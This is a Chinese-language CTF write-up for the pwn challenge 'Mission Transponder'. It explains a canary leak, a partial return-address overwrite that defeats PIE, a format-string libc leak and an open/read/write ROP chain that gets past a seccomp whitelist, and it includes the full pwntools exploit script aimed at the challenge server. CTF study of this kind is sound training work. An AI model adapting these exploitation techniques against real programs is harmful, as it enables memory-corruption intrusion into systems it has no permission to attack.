Mission Transponder
.png)
main函数:
.png)
repeater函数:
.png)
repeat_error函数:
.png)
有沙箱
.png)
白名单,我们考虑orw
题目没有后门函数,但是有./flag字符串,这个可以再orw链中用,我们不用自己写入这个字符串了,我们看到repeater有两次读入,两次都能覆盖到返回地址,第一次会用pirntf(%s)打印,那我们自然想到用第一次泄露canary然后第二次栈溢出,我们看到repeat_error函数跟repeater函数很像,但是第一个pirntf有格式化字符串,那我们就可以考虑利用栈溢出跳转到repeat_error然后利用格式化字符串泄露libc(这里也有栈保护,但是我们不用在泄露canary了,因为它的canary和我们前面在register泄露的canary一样,它们都是从fs:28取的),然后栈溢出再回到repeater函数(这是因为repeat_error函数第二次栈溢出的空间太小,放不下orw链,所以我们返回repeater函数,利用repeater函数第二次的足够溢出的空间),然后放orw链
那现在剩的问题就是我们没有pie基址,没有repeater函数和repeat_error函数的地址,这里有两种思路
第一种,利用2字节覆盖返回地址为repeat_error函数,这个有16分之一的概率成功,然后在repeat_error函数中利用格式化字符串泄露pie(如果能的话)
第二种,也是更简单的一种,我们知道,返回地址存的是下一条指令的地址,那我们可以一字节覆盖,把返回地址的最后一字节覆盖成call repeater的地址,这是main函数的汇编
.png)
返回地址存的是mov eax,0这条指令的地址,而call repeater这条指令的地址的偏移我们在ida中可以看到与mov eax,0这条指令的地址的偏移只有最后一字节不同,所以我们可以直接覆盖返回地址的最后一字节来重新执行repeater函数,这时我们已经有了canary,我们第一次read就用来泄露返回地址,然后我们就能得到pie基址了,后面就按我们前面说的流程走就行了,这里要注意一个点,就是这里repeater函数里面的指令的地址也是只跟返回地址差最后一字节的,但是我们不能直接跳到repeater里面,因为我们栈溢出覆盖是rbp是错的,而repeater有对[rbp+s]进行操作,直接跳到里面会崩溃,所以我们必须经过函数开头的push rbp和mov rbp, rsp重置rbp的操作,所以我们这里覆盖为call repeater这条指令
还有一个点是orw链中不能直接用libc.sym['open'],因为它的底层调用的不是open而是openat,系统调用号不是2,我们的沙箱是白名单,只允许open,所以这里我们要手动用syscall来写open,而read和write就直接用libc.sym[]就行
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
file_name = './pwn_patched'
libc_name = './libc.so.6'
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb_cmd += "c\n"
if switch:
target = 'nc1.ctfplus.cn'
port = 29837
p = remote(target, port)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(): return p.recvline()
def ra(t=None): return p.recvall(timeout=t)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def a(f, off=libc): return lg(hex(off), (ret := f.address + off)) or ret
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ga(delim=b'|', name='Leak'): return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def ntlb(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
_rop_cache = {}
def gg(s, f=None):
target = f or libc
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
gadget = rop.find_gadget(instrs)
if gadget:
addr = gadget.address
lg(s, addr)
return addr
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
#################################################################################
payload1 = flat([
fill(0x28),
b"B"
])
sa(b'data:', payload1)
ru(b'B')
canary1 = r(7)
canary = uc64(canary1)
lg("canary", canary)
payload2 = flat([
fill(0x28),
canary,
fill(0x8),
p8(0x92)
])
sa(b'logs:',payload2)
payload3 = flat([
fill(0x38)
])
sa(b'data:', payload3)
ru(b"A"*0x38)
leak = r(6)
ntpie(uu64(leak),0x1497)
function1 = a(elf,0x11e3)
payload4 = flat([
fill(0x28),
canary,
fill(0x8),
function1
])
sa(b'logs:',payload4)
sa(b'data:',b"%10$p|")
leaklibc = ga()
ntlb(leaklibc[0],0x27675)
payload5 = flat([
fill(0x8),
canary,
fill(0x8),
elf.address+0x1492
])
s(payload5)
sa(b'data:',b'A')
flag_addr = se("./flag",elf)
prdi = gg("pop rdi;ret")
prsi = gg("pop rsi;ret")
prdx = se(asm("pop rdx ; xor eax, eax ; ret"))
prax = gg('pop rax;ret')
syscall = gg('syscall;ret')
bss_addr = elf.bss() + 0x100
payload4 = flat([
fill(0x28),
canary,
fill(0x8),
prdi, flag_addr,
prsi, 0,
prdx, 0,
prax, 2,
syscall,
prdi, 3,
prsi, bss_addr,
prdx, 0x100,
libc.sym['read'],
prdi, 1,
prsi, bss_addr,
prdx, 0x100,
libc.sym['write']
])
sa(b'logs:',payload4)
it()
题目链接:
CTF-Writeups/第十六届极客大挑战/Mission Transponder at main · Zenquiem/CTF-Writeups